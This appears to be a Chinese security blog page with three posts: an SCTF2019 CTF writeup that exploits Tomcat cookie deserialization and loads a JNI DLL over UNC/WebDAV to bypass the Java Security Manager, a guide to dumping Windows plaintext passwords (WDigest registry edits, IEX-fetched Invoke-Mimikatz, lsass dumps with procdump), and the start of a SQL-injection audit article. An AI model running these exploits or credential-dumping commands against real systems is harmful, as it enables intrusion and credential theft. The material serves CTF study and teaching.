SCTF2019 babyEoP Writeup

前言

第一次给比较正式的比赛出题 :) ,花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了,看结果还是阔以的——0解,也有些遗憾,没能让 Part 2 出来。

Writeup

题目给了一个webshell,弱口令 123456 直接进去。

Tomcat启用了Java Security Manager,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。

  2. 查看lib目录,存在 commons-collections 3.1 gadget。

  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)

    我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoaderaccessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 Java Security Manager。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java (基于 CommonsCollections6)

有些师傅用的 CommonsCollections5 gadget 改的,但是 BadAttributeValueExpException 在反序列化时,会检查是否启用 JSM,如果启用了,则不会触发 gadget 需要的 toString 方法,导致利用失败。

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

1561382235958

​ 调用了 Runtime.getRuntime().load0

  1. Runtime.getRuntime().load0

    1561383875593

​ 在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。

  1. File.isAbsolute

    1561382827270

    再看看 File 是如何判断是否是绝对路径的。

    根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

1
2
3
4
5
6
7
8
9
10
11
public class R {
static {
System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
}

public static native void exec(String cmd);

public R(String cmd) {
exec(cmd);
}
}

执行命令

1
2
javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h

1
2
3
4
5
6
7
8
9
10
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp

1
2
3
4
5
6
7
8
9
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
system(cmd);
env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

Windows下抓取明文密码

关于 KB2871997

KB2871997 之前, Mimikatz 可以直接抓取明文密码。

当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。
但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)

以下是支持的系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

开启

  • cmd

    1
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭

  • cmd

    1
    reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell

    1
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter

    1
    reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

在开启 Wdigest Auth 后,需要管理员重新登录才能逮到明文密码。

我们可以强制锁屏,让管理员重新登录。

  • cmd

    1
    rundll32 user32.dll,LockWorkStation
  • powershell

    1
    powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"

抓取明文

开启 Wdigest Auth 后,接下来就用常规的抓取明文的方式就行了。

Mimikatz

  1. powershell

    1
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  2. exe

    1
    2
    privilege::debug
    sekurlsa::logonpasswords

离线抓取

Mimikatz 被杀,可以先将 lsass 进程 dump 下来,在本地用 Mimikatz 读取。

  1. Dump 进程

    可以用微软提供的 procdump ,自带微软签名,可以过杀软。

    1
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
  2. Mimikatz 读取

    1
    2
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full

从1开始的Java代码审计·第三弹·SQL注入

前言

SQL注入是什么,有什么用,就不多介绍了。总结下漏洞的原因,主要是由于开发者对用户的输入没有做好过滤,直接将用户的输入带入到 SQL语句中,导致恶意用户可以控制服务器执行的SQL语句。

在 Java 中,操作SQL的主要有以下几种方式:

  1. java.sql.Statement

  2. java.sql.PrepareStatement

  3. 使用第三方 ORM 框架 —— MyBatisHibernate

下面我们来分析以上几种执行SQL的方式。

|